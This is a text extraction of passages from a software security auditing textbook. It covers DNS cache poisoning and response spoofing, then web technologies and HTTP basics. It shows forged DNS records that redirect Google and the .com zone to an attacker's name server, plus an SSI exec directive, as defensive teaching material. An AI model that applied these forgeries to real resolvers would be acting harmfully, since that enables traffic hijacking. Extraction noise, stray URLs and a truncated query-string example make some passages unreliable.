ns1.google.com A 10.20.30.40 

ns2.google.com A 10.20.30.40 

ns3.google.com A 10.20.30.40 

ns4.google.com A 10.20.30.40 

 

RFC 1034 says the resolution code should check that the delegation is to a "better" 

name server then the one used in the current query. In this example, the query for 

www.badperson.com. was made to the badperson.com. name server. This request is 

http://www.amazon.com/
http://badperson.com/
http://www.badperson.com/
http://www.badperson.com/
http://www.badperson.com/
http://badperson.com/
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delegated to the Google name servers, but the packet is saying is the name servers 

are authoritative for the www.badperson.com. subdomain. This is good enough to 

pass the algorithm's "better" check. The real problem is the algorithm suggests that 

code blindly honor the supplemental A records that purport to be helpful glue. 

Vulnerable implementations of BIND circa 1997 would enter these A records into the 

cache. Any future requests by victims for a google.com. host would end up contacting 

the attackers' evil name server at 10.20.30.40. 

Windows Resolver Bug 

Windows resolvers also have a bug that allows attackers to hijack popular Web sites 

for specific targets. Say attackers have control of the zone at badperson.com. A 

victim asks their name server for the A records of www.badperson.com. This time, 

attackers can respond by delegating the authority for the com. domain to an evil 

name server under their control. The authority section might contain this NS resource 

record: 

com. NS evil.reallybad.org. 

 

There's no reason the victim's resolver should honor this response, as it's completely 

illogical. However, Windows cached this NS record because of an implementation bug. 

This means that later, when the resolver needs to contact a name server for the .com 

zone, it contacts evil.reallybad.org instead. Windows NT and Windows 2000 SP1 and 

SP2 were vulnerable by default to this problem, and it also affected various Symantec 

products. 

Spoofing Responses 

Most communications between DNS clients and servers occur over UDP, an unreliable 

and unauthenticated transport. ("Unauthenticated" means there's no way to verify 

that sender are who they say they are.) TCP is also an unauthenticated transport but 

to a much lesser extent. (For more information, refer to Chapter 14(? [????.]).) 

Therefore, how does a client or server know a request is from a legitimate source? 

The answer is simple: They don't, in a lot of circumstances! The traditional way of 

validating DNS responses is using the DNS ID field in the header. When a DNS client 

generates a question, it assigns an (ostensibly) random number for the ID field. When 

it receives responses, it checks that the DNS ID field matches the request. This check 

is done by verifying that the response packet has the same value in the DNS ID field 

as the query packet the client originally sent. With this information, a couple of 

attacks could be launched. One of the most obvious is a man-in-the-middle attack by 

someone in a position to observe DNS traffic. This attack is fairly easy to achieve, so 

chalk it up as a known risk and focus your attention on blind spoofing. 

http://www.badperson.com/
http://badperson.com/
http://www.badperson.com/
http://evil.reallybad.org/
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DNS spoofing issues affect both DNS server and client implementations because 

servers make requests on behalf of clients and usually cache results (if they are 

configured for recursion). When a server issues a DNS request to recursively resolve 

a remote host on behalf of a client, remote responses to servers could be forged and 

subsequently cached. Basically, most attacks of this nature revolve around how 

predictable an implementation's DNS ID generation algorithm is. The simplest 

implementations have fixed increments (usually of 1) for each question they generate. 

In the past, BIND (one of the premier name servers on the Internet) was vulnerable 

to this problem, as pointed out by Secure Networks Inc. and CORE (documented at 

http://attrition.org/security/advisory/nai/SNI-12.BIND.advisory). The advisory 

walks through the steps required to cache poison name servers by forging responses 

from a remote DNS server. 

Note 

In some ways, this attack is not unlike the TCP sequence number spoofing mentioned 

in Chapter 14(? [????.]), except DNS IDs need to be exact. Injecting TCP data just 

requires a sequence number within the TCP window. 

 

Dan Bernstein gives a great summary of the current risks of blind forgery at 

http://cr.yp.to/djbdns/forgery.html: 

An attacker from anywhere on the Internet, without access to the client network and 

without access to the server network, can also forge responses, although not so easily. 

In particular, he has to guess the query time, the DNS ID (16 bits), and the DNS 

query port (15-16 bits). The dnscache program uses a cryptographic generator for 

the ID and query port to make them extremely difficult to predict. However, 

 an attacker who makes a few billion random guesses is likely to succeed at 

least once; 

 tens of millions of guesses are adequate with a colliding attack; 

 against BIND, a hundred thousand guesses are adequate, because BIND 

keeps using the same port for every query; and 

 against old versions of BIND, a thousand guesses are adequate with a colliding 

attack. 

The lack of authentication in this protocol is a recognized problem, and steps have 

been taken to help secure it. Specifically, DNS messages can be cryptographically 

verified by using the TKEY and TSIG record types, but this method isn't yet used 

extensively (even though most implementations support it). For this reason, you 

can't assume that cryptographic verification protects an implementation from DNS ID 

prediction vulnerabilities unless the implementation you're reviewing mandates the 

use of the DNS cryptographic features. DNS ID generation algorithms based on 

http://attrition.org/security/advisory/nai/SNI-12.BIND.advisory
http://cr.yp.to/djbdns/forgery.html
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known values also might not be very secure. For example, a DNS ID based on the 

time returned from the time() functions might be quite easy to guess. 

 

8.3.7 Summary 

This chapter has described a general process for assessing network protocol 

implementations. To supplement that process, you have also walked through 

identifying vulnerabilities in several popular protocols. Although this chapter isn't an 

exhaustive coverage of protocols, it should certainly give you a firm grasp of how to 

assess an unfamiliar implementation. You should feel comfortable with applying these 

same basic techniques to reviewing an implementation of a file format specification or 

other data-exchange method. 

8.4 Chapter 17.  Web Applications 

Chapter 17. Web Applications 

"Maybe this world is another planet's hell." 

Aldous Huxley, Brave New World 

8.4.1 Introduction 

Web applications are one of the most popular areas of modern software development; 

in fact, they might be the single biggest innovation of the dot-com era. In less than a 

decade, they've caused a simple communications protocol (HTTP) to become a 

primary means of modern interaction. The rapid uptake of Web applications is a result 

of their capability to provide convenient access to information and services in ways 

not previously possible. The downside is that Web applications have introduced a new 

array of security concerns and vulnerability classes, so you'll almost certainly be 

required to assess the security of Web applications. This task can be formidable 

because the Web exists as a loose collection of rapidly developing technologies. This 

collection often includes abstruse architectural patterns intertwined with third-party 

middleware and Web server platforms. However, you can use some basic strategies 

to cut through the dizzying array of technologies and focus on the bottom line: finding 

security vulnerabilities. Of course, much of modern Web application development is 

tied to complex third-party frameworks, so security reviewers should augment Web 

application source-code reviews with operational reviews and live testing. 

Web programming has been divided into two chapters. This chapter gives you an 

overview of the Web and HTTP, the basic design challenges facing Web developers, 

and a brief survey of Web programming technologies. Then you learn general 

31051536.html
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strategies and techniques for auditing Web applications and operational concerns 

with the Web environment. Finally, you learn about the types of vulnerabilities that 

plague these programs and how to find them. Chapter 18(? [????.]), "Web 

Technologies," covers some popular Web development technologies and examines 

their security issues. 

 

8.4.2 Web Technology Overview 

Developing a Web site might seem straightforward or at least easier than developing 

a full-blown cross-platform networked application. For better or worse, Web 

technology has evolved to the point that developing a Web application is almost as 

complex as other networked services. This following paragraph is from the 

documentation for a popular open-source Web framework, Apache Struts: 

The core of the Struts framework is a flexible control layer based on standard 

technologies like Java Servlets, JavaBeans, ResourceBundles, and XML, as well as 

various Jakarta Commons packages. Struts encourages application architectures 

based on the Model 2 approach, a variation of the classic Model-View-Controller (MVC) 

design paradigm. 

Struts provides its own Controller component and integrates with other technologies 

to provide the Model and the View. For the Model, Struts can interact with standard 

data access technologies, like JDBC and EJB, as well as most any third-party 

packages, like Hibernate, iBATIS, or Object Relational Bridge. For the View, Struts 

works well with JavaServer Pages, including JSTL and JSF, as well as Velocity 

Templates, XSLT, and other presentation systems. 

If you understand all that, you can probably skip the first half of this chapter. If you 

don't, this chapter and the next cover enough ground that you'll be able to at least 

approach it. The Struts framework isn't alone in the Web space as far as complexity 

and approachability. The point is that you need to consider these details when 

reviewing enterprise-class Web applications. You need to budget a good deal of 

preparation time or find a strategy for dealing with unfamiliar and complex 

technology. The remainder of this section provides an overview of the general 

principles and common elements of the most popular web technologies. 

The Basics 

The World Wide Web (WWW) is a distributed global network of servers that publishes 

documents over various protocols, such as gopher, FTP, and HTTP. A document, or 

resource, is identified by a Uniform Resource Identifier (URI), such as 

http://www.neohapsis.com/index.html. This URI is the identifier for the HTML 

http://www.neohapsis.com/index.html
31051536.html
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document located on the www.neohapsis.com Web server at /index.html, which can 

be retrieved via and HTTP request. 

Hypertext Markup Language (HTML) is a simple language for marking up text 

documents with tags that identify semantic structure and visual presentation. HTML is 

a Standard Generalized Markup Language (SGML) applicationthat is, a markup 

language defined in SGML. A key concept in HTML is the hyperlink, which is a 

reference to another resource on another server (given as a URI). One of the defining 

characteristics of the Web is that it's composed largely of hypertextinterconnected 

documents that reference each other via hyperlinks. 

Hypertext Transport Protocol (HTTP) is a simple protocol that Web servers use to 

make documents available to clients (discussed in more detail in "HTTP(? [????.])" 

later in this chapter). A Web client, or Web browser, connects to a Web server by 

using a TCP connection and issues a simple request for a URI path, such as 

/index.html. The server then returns this document over the connection or notifies 

the client if there has been an error condition. Web servers typically listen on port 80. 

SSL-wrapped HTTP (known as HTTPS) is typically available on port 443. 

Static Content 

The most straightforward request a Web server can broker is for a file sitting on its 

local file system or in memory. The Web server simply retrieves the file and sends it 

to the network as the HTTP response. This process is known as serving static 

content because the document is the same for every user every time it's served. 

Static content is great for data that doesn't change often, like your Star Trek Web site 

or pictures of your extensive collection of potted meat products. However, more 

complex Web sites need to be able to control the Web server's output 

programmatically. The Web server needs to create content on the fly that reacts to 

users' actions so that it can exhibit the behavior of an application. Naturally, there are 

myriad ways a programmer can interface with a Web server to create this dynamic 

content. 

CGI 

Common Gateway Interface (CGI) is one of the oldest mechanisms for creating 

dynamic Web content. A CGI program simply takes input from the Web server via 

environment variables, the command line, and standard input. This input describes 

the request the user made to the Web server. The CGI program performs some 

processing on this input, and then writes its output (usually an HTML document) to 

standard output. When a Web server receives a request for a CGI program, it simply 

forks and runs that program as a new process, and then relays the program's output 

back to the user. 

http://www.neohapsis.com/
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CGI programs can be written in almost any language, as the only real requirement is 

the ability to write to STDOUT. Perl is a popular choice because of its string 

manipulation features, as are Python and Ruby. Here is a bare-bones CGI program in 

Perl: 

#!/usr/bin/perl 

print "Content-type: text/html\r\n\r\n"; 

print "<html><body>hi!</body></html>\r\n"; 

 

The primary disadvantage of the CGI model is that it requires a separate process for 

each Web request, which means it isn't well suited to handling heavy traffic. Modified 

interfaces are available, such as FastCGI, that allow a more lightweight 

request-handling process, but CGI-style programs are typically used for low-traffic 

applications. 

Web Server APIs 

Most Web servers provide an API that enables developers to customize the server's 

behavior. These APIs are provided by creating a shared library or dynamic link library 

(DLL) in C or C++ that's loaded into the Web server at runtime. These Web server 

extensions can be used for creating dynamic content, as Web requests can be passed 

to developer-supplied functions that process them and generate responses. These 

extensions also allow global modification of the server, so developers can perform 

analysis or processing of every request the server handles. These APIs allow far more 

customization than an interface such as CGI because Web developers can alter the 

behavior of the Web server at a very granular level by manipulating shared data 

structures and using control APIs and callbacks. Here are the common interfaces: 

 Internet Server Application Programming Interface (ISAPI) Microsoft provides 

this API for extending the functionality of its Internet Information Services 

(IIS) Web server. ISAPI filters and DLLs are often found in older 

Microsoft-based Web applications, particularly in Web interfaces to 

commercial software packages. 

 Netscape Server Application Programming Interface (NSAPI) Netscape's Web 

server control API can be used to extend Netscape's line of servers and Web 

proxies. It's occasionally used in older enterprise applications for global input 

validation as a first line of defense. 

 Apache API This API supports extension of the Apache open-source Web 

server via modules and filters. 

Many of the other Web programming technologies discussed in this chapter are 

implemented on top of these Web server APIs. Modern Web servers are usually 

constructed in an open, modular fashion. Therefore, these extension APIs can be used 
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to make changes commensurate with what you'd expect from full source-code-based 

modifications of the Web server. 

Server-Side Includes 

A Web server doesn't examine a typical static HTML document when presenting it to 

a Web browser. The server simply reads the document from memory or disk and 

sends it out over the network without looking at the document's contents. Several 

technologies are based on slightly altering this design so that the Web server inspects 

and processes the document while it serves it to the client. These technologies range 

in complexity from simple directives to the Web server, to full programming language 

interpreters embedded in the Web server. 

The simplest and oldest form of server-side document processing is server-side 

includes (SSIs), which are specially formatted tags placed in HTML pages. These 

tags are simple directives to the Web server that are followed as a document is 

presented to a user. As the Web server outputs the document, it pulls out the SSI tags 

and performs the appropriate actions. These tags provide basic functionality and can 

be used to create simple dynamic content. Most Web servers support them in some 

fashion. Take a look at a few examples of SSIs. The following command prints the 

value of the Web server variable DOCUMENT_NAME, which is the name of the requested 

document: 

<p>The current page is <!--#echo var="DOCUMENT_NAME" --></p> 

 

The following SSI directs the server to retrieve the file /footer.html and replace the 

#include tag with the contents of that file: 

<!--#include virtual="/footer.html" --> 

 

When the Web server parses the following tag, it runs the ls command and replaces 

the #exec tag with its results: 

<!--#exec cmd="ls" --> 

 

As a security reviewer, SSI functionality should make your ears perk up a little. You 

learn more some handling issues with SSI in "Programmatic SSI(? [????.])" later in 

this chapter. 

Server-Side Transformation 

Storing the content of a Web site in a format other than HTML is often advantageous. 

This content might be generated by another program or tool in a common format such 
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as XML, or it might reside on a live resource, such as a database server. Web 

developers can use server-side parsing technologies to instruct the Web server to 

automatically transform content into HTML on the fly. These technologies are more 

involved than server-side includes, but they aren't as sophisticated as the more 

popular full server-side scripting implementations. 

Extensible Stylesheet Language Transformation (XSLT) is a general language 

that describes how to turn one XML document into another XML document. Web 

developers can use XSLT to tell a Web server how to transform a XML document 

containing a page's content into an HTML document that's presented to users. Say 

you have the following simple XML document describing a person: 

<person> 

    <name>Zoe</name> 

    <age>1</age> 

</person> 

 

An XSLT style sheet that describes how to turn this XML document into HTML could 

look something like this: 

<xsl:stylesheet version = '1.0' 

    xmlns:xsl='http://www.w3.org/1999/XSL/Transform'> 

<xsl:template match="/"> 

    <html> 

        <body> 

            <p>Name: <xsl:value-of select="person/name"/></p> 

            <p>Age: <xsl:value-of select="person/age"/></p> 

        </body> 

    </html> 

</xsl:template> 

</xsl:stylesheet> 

 

The result of transforming the XML content into HTML is this document: 

<html> 

<body> 

<p>Name: Zoe</p> 

<p>Age: 1</p> 

</body> 

</html> 
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Internet Database Connection (IDC) is an older, now unsupported, Microsoft Web 

programming technology for binding an HTML page to a data source (such as a 

database) and populating fields in the page with dynamic data. It has strong 

similarities to XSLT. Web developers create a template, known as an .htx file, which 

is basically an HTML document with special tags that indicate where data from the 

database should be inserted. They then create an .idc file that tells the Web server 

which template file to use and what database query to run to get the values needed 

to fill in the template. 

Server-Side Scripting 

Server-side scripting technology is essentially server-side document processing 

taken to the next level. Instead of embedding simple directives or providing 

transformation templates, server-side scripting technologies enable Web developers 

to embed actual program code in HTML documents. When the Web server encounters 

these embedded programs, it runs them through an internal program interpreter. 

This model is popular for small- to medium-scale Web development because it offers 

good performance, and Web sites that use it are typically simple to develop. Here are 

the popular server-side scripting technologies: 

 PHP: Hypertext Preprocessor (PHP) Because PHP is a recursive acronym, so 

you can probably guess that it's a UNIX-oriented, open-source technology. It's 

currently a popular language for Web development, especially for small to 

medium applications. PHP is a scripting language designed from the ground up 

to be embedded in HTML files and interpreted by a Web server. It's a fairly 

easy language to pick up because it has much overlap with Perl, C, and Java. 

 Active Server Pages (ASP) ASP is Microsoft's popular server-side scripting 

technology. ASP pages can contain code written in a variety of languages, 

although most developers use VBScript or JScript (Microsoft's JavaScript). It's 

also relatively easy to develop for because the ASP framework is fairly 

straightforward, and pages can call Component Object Model (COM) objects 

for involved processing. 

 ColdFusion Markup Language (CFML) This server-side scripting language is 

used by the Adobe (formerly Macromedia) ColdFusion framework. ColdFusion 

is another popular technology that has retained a core set of developers over 

many years. 

 JavaServer Pages (JSP) JSP is ostensibly a server-side scripting language in 

the same vein as PHP and ASP. It does allow Web developers to embed Java 

code in HTML documents, but it isn't typically used in the same fashion as 

other server-side scripting languages. JSP pages are with a component of Java 

servlet technology, explained in the next bulleted list. 

Over time, server-side scripting solutions have evolved away from an interpreted 

model. Instead of running a page through an interpreter for each request, a Web 

server can compile the page down to a more efficient representation, such as 
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bytecode. The Web server needs to do this compilation only once, as it can keep the 

compiled program in a cache. The virtual machine that interprets the bytecode can 

then cache the corresponding machine code, resulting in performance similar to a 

normal compiled language, such as straight C/C++. Here are some popular 

technologies of this nature: 

 Java servlets Java is probably responsible for much of the evolution in 

server-side scripting, as it was originally designed with a compiled model. Java 

servlets are simply classes that are instantiated by and interact with the Web 

server through a common interface. JSP pages are actually compiled into Java 

servlets by the Web server. 

 ASP.NET ASP.NET is Microsoft's revamping of ASP. ASP.NET page code can be 

written in any .NET language, such as C# or VB.NET. The pages are compiled 

down to intermediate language (IL) and cached by the Web server. The .NET 

framework handles just-in-time (JIT) compilation of the IL. 

 ColdFusion MX ColdFusion MX compiles CFML pages down to Java bytecode 

instead of running an interpreter. 

Note 

Even pure scripting technologies are often compiled to bytecode when a script is 

requested for the first time. The bytecode is then cached to accelerate later requests 

for the same unmodified script. 

8.4.3 HTTP 

HTTP is the network protocol that all Web transactions use under the hood. The next 

section summarizes the high points, but interested readers should check out RFC 

2616 (www.ietf.org) or find a good Web inspection proxy tool and start studying 

traffic. 

Overview 

HTTP is a straightforward request and response protocol, in which every request the 

client sends to the server is reciprocated with a single response. These requests are 

performed over TCP connections. In contemporary versions of HTTP, a single TCP 

connection is typically reused for multiple requests to the same server, but 

historically, each Web request caused the creation of an entirely new TCP connection. 

Here's an example of a simple HTTP request: 

[View full width](? [????.]) 

GET /testing/test.html HTTP/1.1 

Accept: image/gif, image/x-xbitmap, image/jpeg, 

image/pjpeg, application/x-gsarcade-launch, application/x- 

shockwave-flash, application/vnd.ms-excel, 

http://www.ietf.org/
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application/vnd.ms-powerpoint, application/msword, */* 

Accept-Language: en-us 

Accept-Encoding: gzip, deflate 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 

1.0.3705; .NET CLR 

 1.1.4322) 

Host: test.testing.com:1234 

Connection: Keep-Alive 

 

HTTP requests are composed of a header and an optional body. A blank linecalled a 

carriage return/line feed (CRLF)separates the header and the body. The preceding 

request doesn't have a body, so the blank line is simply the end of the request. 

The first line of a HTTP request is composed of a method, a URI path, and an HTTP 

protocol version. The method tells the server what type of request it is. The preceding 

request has a GET method, which tells the server to retrieve (get) the requested 

resource. The URI path which tells the server which resource the client is requesting. 

The preceding request asks for the resource located at /testing/test.html on the 

server. The protocol version specifies the version of HTTP the client is using. In the 

preceding request, the client is using version HTTP/1.1. 

The rest of the lines in the request header share the same general format: a field 

name followed by a colon, and then a field definition. The preceding request includes 

the following request header fields: 

 Accept This header field tells the server which kinds of media (such as an 

image or application) are acceptable for the response and their order of 

preference. 

 Accept-Language This header field tells the server which languages the client 

accepts and prefers, which in the preceding request is U.S. English. 

 Accept-Encoding This header field tells the server it can encode the request 

body with certain schemes if necessary. 

 User-Agent This header field tells the server what software versions the client 

is using for its Web browser and operating system. You can see that the 

preceding request was made from Internet Explorer 6.0 (MSIE 6.0) on a 

Windows XP machine (Windows NT 5.1) with the .NET 1.1 runtime installed 

(.NET CLR 1.0.3705; .NET CLR 1.1.4322). 

 Host This header field tells the Web server which host the request is for, which 

is useful if multiple Web sites are hosted on the same machine (called virtual 

hosts). You can see that the request was for the machine named 

test.testing.com, and the client is talking to the server on port 1234. 

 Connection This header field gives the server options that are specific to the 

connection. In the preceding request, the client's Keep-Alive value tells the 
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server not to close the connection after it answers the request. This way, the 

client can reuse the TCP connection to issue another request. 

Now look at the response to this query: 

HTTP/1.1 404 Not Found 

Date: Fri, 20 Aug 2006 01:58:14 GMT 

Server: Apache/1.3.28 (Unix) PHP/4.3.0 

Keep-Alive: timeout=15, max=100 

Connection: Keep-Alive 

Transfer-Encoding: chunked 

Content-Type: text/html; charset=iso-8859-1 

 

d3 

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> 

<HTML><HEAD> 

<TITLE>404 Not Found</TITLE> 

</HEAD><BODY> 

<H1>Not Found</H1> 

The requested URL /testing/test.html was not found on this server.<P> 

</BODY></HTML> 

 

0 

 

HTTP responses are similar to HTTP requests. The response has a header and a body, 

and the response header is set up so that the first line has a special format. The rest 

of the header response lines share the field name, colon, and field value format. 

The first line of the HTTP response header is composed of the HTTP protocol version, 

the response code, and the response reason phrase. The protocol version is the same 

as in the request: HTTP/1.1. The response code is a numeric status code that tells the 

client the result of the request. In the preceding response, it's 404, which is probably 

familiar to you. If it isn't, the response reason phrase gives a short text description of 

the status code, which is "Not Found" in this response. 

The rest of the response header lines provide information to the client: 

 Date This field tells the client when the server generated the response. 

 Server This field gives the client information about the Web server software. 

You can see that the Web server is running Apache 1.3.28 on some kind of 

UNIX machine. 

 Keep-Alive and Connection These fields give the client information about the 

connection and how long it will be held open. 
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 Transfer-Encoding This field tells the client the mechanism the server uses to 

transmit the body of the response. This server elected to use the chunked 

method of encoding. 

 Content-Type This field tells the client the media type and character set of the 

response, which is a plain HTML document. 

The response body in the example is encoded with the chunked encoding method, 

which is made up of a series of chunks. Each chunk has a line specifying its length in 

hexadecimal and the corresponding data. In the preceding response, d3 specifies 211 

bytes of data in the first chunk. The 0 at the end indicates the end of the chunked data. 

You can see that in the response, which is plain HTML, the server gives an error 

message to go along with the error code 404. 

Versions 

Three versions of HTTP are currently in use: 0.9, 1.0, and 1.1. An HTTP version 0.9 

request looks like this: 

GET / 

 

This request retrieves the root document. It's about as straightforward as it can get 

and can be used for quick manual testing. A minimal HTTP version 1.0 request looks 

like this: 

GET / HTTP/1.0 

 

This request is similar to the request shown in the previous section. Note that a blank 

line (a second CRLF) signifies the end of the HTTP request header and, therefore, the 

end of the HTTP request. If you're entering requests by hand, HTTP/1.0 is easiest to 

use because it's simpler than HTTP/1.1. Here's a minimal HTTP/1.1 request: 

GET / HTTP/1.1 

Host: test.com 

 

This request is nearly identical to the minimal HTTP/1.0 request, except it requires 

the client to provide a Host header in the request. 

Headers 

HTTP headers provide descriptive information (metadata) about the HTTP connection. 

They are used in negotiating an HTTP connection and establishing the connection's 

properties after successful negotiation. HTTP supports a variety of headers that fall 

into one of four basic categories: 
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 Request Headers in the initial request 

 Response Headers in the server response 

 General Headers that can be in a request or response 

 Entity Headers that apply to a specific entity in the request or response 

The remainder of this chapter refers to a number of HTTP headers, so Table 17-1 lists 

them for easy reference. 

Table 17-1. Request and Response Header Fields 

Header Type Description 

Accept Request Lists media (MIME) types the client will 

accept 

Accept-Charset Request Lists character encodings the client will 

accept 

Accept-Encoding Request Lists content encodings the client will accept, 

such as compression mechanisms 

Accept-Language Request Lists languages the client will accept 

Accept-Ranges Response Server indicates it supports range requests 

Age Response Freshness of the requested URI 

Allow Entity Lists HTTP methods allowed for the 

requested URI 

Allowed Response Deprecated: lists allowed request methods 

Authorization Request Presents credentials for HTTP authentication 

Cache-Control Response Specifies caching requirements for the 

requested URI 

Charge-To Request Deprecated: billing information 

Connection General Allows the client to specify connection 

options 

Content-Encoding Entity Identifies additional encoding of the entity 

body, such as compression 

Content-Transfer-Encoding Response Deprecated: MIME transfer encoding 

Content-Language Entity Identifies the language of the entity body 

Content-Length Entity Identifies the length (in bytes) of the entity 

body 

Content-Location Entity Supplies the correct location for the entity if 
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Table 17-1. Request and Response Header Fields 

Header Type Description 

known and not available at the requested URI 

Content-MD5 Entity Supplies an MD5 digest of the entity body 

Content-Range Entity Lists the byte range of a partial entity body 

Content-Type Entity Specifies the media (MIME) type of the entity 

Cost Response Deprecated: cost of requested URI 

Date General Date and time of the message 

Derived-From Response Deprecated: previous version of requested 

URI 

ETag Response Entity tag used for caching purposes 

Expect Request Lists server behaviors required by the client 

Expires Entity Date and time after which the entity is 

considered stale 

From Request E-mail address of the requester 

Host Request Host name and port number of the requested 

URI 

If-Match Request Used to make request conditional based on 

entity tags 

If-Modified-Since Request Used to make request conditional based on 

HTTP date 

If-None-Match Request Used to make request conditional based on 

entity tags 

If-Range Request Used to make a range request conditional 

based on entity tags 

If-Unmodified-Since Request Used to make request conditional based on 

HTTP date 

Last-Modified Entity Identifies the time the entity was last 

modified 

Location Response Supplies an alternate location for the 

requested URI 

Max-Forwards Request Mechanism for limiting the number of 

gateways in a TRACE or OPTIONS request 
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Table 17-1. Request and Response Header Fields 

Header Type Description 

Message-Id Response Deprecated: globally unique message 

identifier 

Pragma General Used for implementation-specific headers 

Proxy-Authenticate Response Identifies that a proxy requires 

authentication 

Proxy-Authorization Request Presents credentials for HTTP proxy 

authentication 

Public Response Deprecated: lists publicly accessible methods 

Range Request Identifies a specific range of bytes needed 

from the requested URI 

Referer Request Client-provided URI responsible for initiating 

the request 

Retry-After Response Indicates how long a service is expected to 

be unavailable 

Server Response Server identification string 

TE Request Lists transfer encodings accepted by the 

client for a chunked transfer 

Trailer General Indicates header fields present in the trailer 

of a chunked message 

Transfer-Encoding General Identifies the encoding applied to the 

message 

Upgrade General Identifies additional protocols supported by 

the client 

URI Response Deprecated: superseded by Location header 

field 

User-Agent Request Contains general information about the client 

Vary Response Provided by the server to determine cache 

freshness 

Version Response Deprecated: version of requested URI 

Via General Used by gateways and proxies to identify 

intermediate hosts 

Warning General Provides additional message status 
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Table 17-1. Request and Response Header Fields 

Header Type Description 

information 

WWW-Authenticate Response Initiates the HTTP authentication challenge 

required by a server 

WWW-Title Response Deprecated: document title 

WWW-Link Response Deprecated: external document reference 

 

 

Methods 

HTTP supports many methods, especially considering vendor extensions to the 

protocol. The three most important are GET, HEAD, and POST. GET is the most common 

method used by a client to retrieve a resource. HEAD is identical to GET, except it tells 

the server not to return the actual document contents. In other words, it tells the 

server to return only the response headers. POST is used to submit a block of data to 

a specified resource on the server. The difference between GET and POST is related to 

how developers use HTML forms and parameters (covered in "Parameters and Forms" 

later in this chapter). The following sections describe some less common methods. 

DELETE and PUT 

The DELETE and PUT methods allow files to be removed from and added to a Web 

server. Historically, these two methods have been seen little use in real sites; further, 

they have been associated with a number of vulnerabilities and are usually disabled. 

The notable exception is using these methods as a component of complete WebDAV 

support. 

TEXTSEARCH and SPACEJUMP 

The TEXTSEARCH and SPACEJUMP requests aren't methods, nor were they ever officially 

added to the HTTP specification. However, they were proposed methods, and the 

functionality they describe is supported in modern Web servers. To briefly see how 

they work, start by looking at the TEXTSEARCH request: 

GET /customers?John+Doe HTTP/1.0 

 

This request uses the ? character to terminate the request and contains a 

URL-encoded search string. This string causes the server to run a file at the supplied 

location and pass the decoded search string as a command line. Anyone familiar with 

common path traversal attacks should recognize this request type immediately. It's 
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the form of request commonly used to pass parameters to an executable file via the 

query string, which makes it useful in exploiting a path traversal vulnerability. In all 

truth, this use might be the only remaining one for this request type. 

The following SPACEJUMP request represents another legacy request type: 

GET /map/1.1+2.7 HTTP/1.0 

 

This request is designed for handling server-side image maps. It provides the 

coordinates of a clicked point in an object. As server-side image mapping has 

disappeared, so has the SPACEJUMP request. It's interesting to note, however, that this 

request type has also been associated with a number of vulnerabilities. The classic 

handler for this request (on both Apache and IIS servers) is the htimage program, 

which has been the source of a number of high-risk vulnerabilities, ranging from data 

disclosure to stack buffer overflows. 

OPTIONS and TRACE 

The OPTIONS and TRACE methods provide information about a server. The OPTIONS 

request simply lists all methods the server accepts. This information is not 

particularly sensitive, although it does give a potential attacker details about the 

system. Further, this method is useful only for servers that support extended 

functionality, such as WebDAV. 

The HTTP TRACE method is quite simple, although its implications are interesting. This 

method simply echoes the request body to the client, ostensibly for testing purposes. 

Of course, the capability to have a Web site present arbitrary content can present 

some interesting possibilities for vulnerabilities, discussed in "Cross-Site Scripting(? 

[????.])" later in this chapter. 

CONNECT 

The HTTP CONNECT method provides a way for proxies to establish Secure Sockets 

Layer (SSL) connections with other servers. It's a reasonable method for use in 

proxies but is usually dangerous on application servers. 

WebDAV Methods 

Web Distributed Authoring and Versioning (WebDAV) is a set of methods and 

associated protocols for managing files over HTTP connections. It makes use of the 

standard GET, PUT, and DELETE methods for basic file access. WebDAV adds a number 

of methods for other file-management tasks, described in Table 17-2. 

Table 17-2. WebDAV Methods 
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Method Description 

COPY Copies a resource from one URI to another 

MOVE Moves a resource from one URI to another 

LOCK Locks a resource for shared or exclusive use 

UNLOCK Removes a lock from a resource 

PROPFIND Retrieves properties from a resource 

PROPPATCH Modifies multiple properties atomically 

MKCOL Creates a directory (collection) 

SEARCH Initiates a server-side search 

 

Fortunately, most Web applications do not (and certainly should not) expose WebDAV 

functionality directly. However, you should keep a few points in mind when you 

encounter WebDAV systems. First, WebDAV uses HTTP as a transport protocol and 

uses the same basic security mechanisms of SSL and HTTP authentication, so the 

coverage of these standards also applies to WebDAV. Second, the specification for 

WebDAV access control is only in draft form and not widely implemented at the time 

of this writing, so access control capabilities can vary widely between products. 

Parameters and Forms 

A Web client transmits parameters (user-supplied input and variables) to a Web 

application through HTTP in three main ways, explained in the following sections. 

Embedded Path Information 

A URI path can contain embedded parameters as part of the path components. This 

embedded path information can be handled by server-based filtering such as path 

rewriting rules, which remap the received path and place the information into request 

variables. Path information may also be handled through the PATH_INFO environment 

variable common to most web application platforms. The PATH_INFO variable contains 

additional components appended to a URI resource path. For example, say you have 

a dynamic Web application at /Webapp, and a user submitted the following request: 

GET /webapp/blah/blah/blah HTTP/1.1 

Host: test.com 

 

The Web server calls the program or request handler corresponding to /webapp and 

indicates that extra information was passed through the appropriate mechanism. If 
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the program gets information through CGI variables, the CGI program would see 

something like this: 

PATH_INFO=/blah/blah/blah 

SCRIPT_NAME= 

 

If the program is a Java servlet and calls request.getServletPath(), it receives 

/webapp. However, if the program calls request.getRequestURI(), it receives 

/webapp/blah/blah/blah. 

Auditing Tip 

If you see code performing actions or checks based on the request URI, make sure the 

developer is handling the path information correctly. Many servlet programmers use 

request.getRequestURI() when they intend to use request.getServletPath(), which 

can definitely have security consequences. Be sure to look for checks done on file 

extensions, as supplying unexpected path information can circumvent these checks 

as well. 

 

 

GET and Query Strings 

The second mechanism for transmitting parameters to a Web application is the query 

string. It's the component of a request URI that follows the question mark character 

(?). For example, if the http://test.com/webapp?arg1= URI is entered into a browser, 

the browser connects to the test.com server and submits a request similar to the 

following: 

GET /webapp?arg1=hi&arg2=jimbo HTTP/1.1 

Host: test.com 

 

This is the query string in the preceding request: 

arg1= 

 

Most dynamic Web technologies parse this query string into two separate variables: 

arg1 with a value of hi and arg2 with a value of jimbo. The & character is used to 

separate the arguments, and the = character separates the argument name from the 

argument value. 

The other possible form for a query string is the one mentioned for the TEXTSEARCH 

request. If the query string doesn't contain an = character, the Web server assumes 
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the query is an indexed query, and the arguments represent command-line 

arguments. For example, the following code runs the CGI program mycgi.pl with the 

arguments hi and jimbo: 

GET /mycgi.pl?hi&jimbo HTTP/1.1 

Host: test.com 

 

 

HTML Forms 

Before you look at the third common way of transmitting parameters, take a look at 

HTML forms. Forms are an HTML construct that enables application designers to 

